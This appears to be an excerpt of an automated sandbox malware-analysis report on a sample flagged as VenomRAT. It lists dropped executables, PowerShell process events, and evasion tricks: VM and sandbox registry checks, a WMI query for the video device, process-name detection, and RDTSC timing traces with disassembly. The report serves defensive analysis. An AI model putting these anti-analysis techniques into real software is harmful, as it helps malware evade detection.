Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected VenomRAT

Source: Yara match	File source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp

Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 54F056 second address: 54E8E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D2296h], esi 0x0000000f push dword ptr [ebp+122D1065h] 0x00000015 jmp 00007FC4DCC8C6CEh 0x0000001a call dword ptr [ebp+122D187Bh] 0x00000020 pushad 0x00000021 sub dword ptr [ebp+122D1AF2h], ebx 0x00000027 xor eax, eax 0x00000029 stc 0x0000002a mov edx, dword ptr [esp+28h] 0x0000002e clc 0x0000002f mov dword ptr [ebp+122D361Dh], eax 0x00000035 sub dword ptr [ebp+122D1965h], ecx 0x0000003b jmp 00007FC4DCC8C6D2h 0x00000040 mov esi, 0000003Ch 0x00000045 sub dword ptr [ebp+122D30B6h], edi 0x0000004b add esi, dword ptr [esp+24h] 0x0000004f pushad 0x00000050 and edx, 09635D40h 0x00000056 popad 0x00000057 lodsw 0x00000059 sub dword ptr [ebp+122D30B6h], eax 0x0000005f add eax, dword ptr [esp+24h] 0x00000063 sub dword ptr [ebp+122D1AF2h], eax 0x00000069 mov ebx, dword ptr [esp+24h] 0x0000006d xor dword ptr [ebp+122D23B4h], esi 0x00000073 nop 0x00000074 jnc 00007FC4DCC8C6E5h 0x0000007a push eax 0x0000007b push eax 0x0000007c push edx 0x0000007d jne 00007FC4DCC8C6CCh 0x00000083 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 54E8E3 second address: 54E8E8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6C9511 second address: 6C9518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6C86D1 second address: 6C86DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6C86DB second address: 6C86ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jmp 00007FC4DCC8C6CBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6C86ED second address: 6C86F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FC4DCD0E306h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6C86F9 second address: 6C86FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6C86FD second address: 6C8701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6C88C0 second address: 6C88CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FC4DCC8C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6C88CA second address: 6C88CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6C8CE9 second address: 6C8CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCC8C6CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6C8CFB second address: 6C8CFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6C8E48 second address: 6C8E4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6CB445 second address: 6CB4B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC4DCD0E315h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FC4DCD0E30Bh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push edi 0x00000017 jmp 00007FC4DCD0E319h 0x0000001c pop edi 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 pushad 0x00000021 jno 00007FC4DCD0E306h 0x00000027 jmp 00007FC4DCD0E317h 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6CB4B2 second address: 6CB4B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6CB4B6 second address: 6CB4D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E310h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6CB4D4 second address: 54E8E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007FC4DCC8C6C6h 0x00000010 pop eax 0x00000011 popad 0x00000012 pop eax 0x00000013 mov dword ptr [ebp+122D25D0h], eax 0x00000019 push dword ptr [ebp+122D1065h] 0x0000001f mov cx, 47A9h 0x00000023 call dword ptr [ebp+122D187Bh] 0x00000029 pushad 0x0000002a sub dword ptr [ebp+122D1AF2h], ebx 0x00000030 xor eax, eax 0x00000032 stc 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 clc 0x00000038 mov dword ptr [ebp+122D361Dh], eax 0x0000003e sub dword ptr [ebp+122D1965h], ecx 0x00000044 jmp 00007FC4DCC8C6D2h 0x00000049 mov esi, 0000003Ch 0x0000004e sub dword ptr [ebp+122D30B6h], edi 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 pushad 0x00000059 and edx, 09635D40h 0x0000005f popad 0x00000060 lodsw 0x00000062 sub dword ptr [ebp+122D30B6h], eax 0x00000068 add eax, dword ptr [esp+24h] 0x0000006c sub dword ptr [ebp+122D1AF2h], eax 0x00000072 mov ebx, dword ptr [esp+24h] 0x00000076 xor dword ptr [ebp+122D23B4h], esi 0x0000007c nop 0x0000007d jnc 00007FC4DCC8C6E5h 0x00000083 push eax 0x00000084 push eax 0x00000085 push edx 0x00000086 jne 00007FC4DCC8C6CCh 0x0000008c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6CB668 second address: 6CB66C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6CB66C second address: 6CB69B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FC4DCC8C6CDh 0x00000010 pushad 0x00000011 jl 00007FC4DCC8C6C6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6CB701 second address: 6CB735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 je 00007FC4DCD0E312h 0x0000000e push esi 0x0000000f jmp 00007FC4DCD0E30Ah 0x00000014 pop esi 0x00000015 nop 0x00000016 mov edx, dword ptr [ebp+122D3799h] 0x0000001c push 00000000h 0x0000001e adc dl, 00000061h 0x00000021 call 00007FC4DCD0E309h 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6CB735 second address: 6CB788 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC4DCC8C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c jg 00007FC4DCC8C6D0h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push ecx 0x00000017 push eax 0x00000018 jg 00007FC4DCC8C6C6h 0x0000001e pop eax 0x0000001f pop ecx 0x00000020 mov eax, dword ptr [eax] 0x00000022 jo 00007FC4DCC8C6D4h 0x00000028 jmp 00007FC4DCC8C6CEh 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 pushad 0x00000032 jmp 00007FC4DCC8C6CBh 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6CB788 second address: 6CB7EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007FC4DCD0E308h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 push 00000003h 0x00000023 mov dword ptr [ebp+122D1B4Dh], eax 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007FC4DCD0E308h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 00000014h 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 mov esi, 1BA692E2h 0x0000004a push 00000003h 0x0000004c mov edx, esi 0x0000004e push 91B7BAC0h 0x00000053 push eax 0x00000054 push edx 0x00000055 push ecx 0x00000056 pushad 0x00000057 popad 0x00000058 pop ecx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6CB7EC second address: 6CB839 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FC4DCC8C6CBh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 51B7BAC0h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FC4DCC8C6C8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c lea ebx, dword ptr [ebp+1245038Eh] 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 push esi 0x00000037 pop esi 0x00000038 jmp 00007FC4DCC8C6CBh 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6CB8B8 second address: 6CB941 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007FC4DCD0E30Ch 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push esi 0x0000001a pushad 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d jmp 00007FC4DCD0E317h 0x00000022 popad 0x00000023 pop esi 0x00000024 mov eax, dword ptr [eax] 0x00000026 push eax 0x00000027 jmp 00007FC4DCD0E318h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 jmp 00007FC4DCD0E30Dh 0x00000036 pop eax 0x00000037 push 00000003h 0x00000039 je 00007FC4DCD0E30Ch 0x0000003f push 00000000h 0x00000041 mov dx, bx 0x00000044 push 00000003h 0x00000046 mov cx, FE4Eh 0x0000004a push 973DCD53h 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
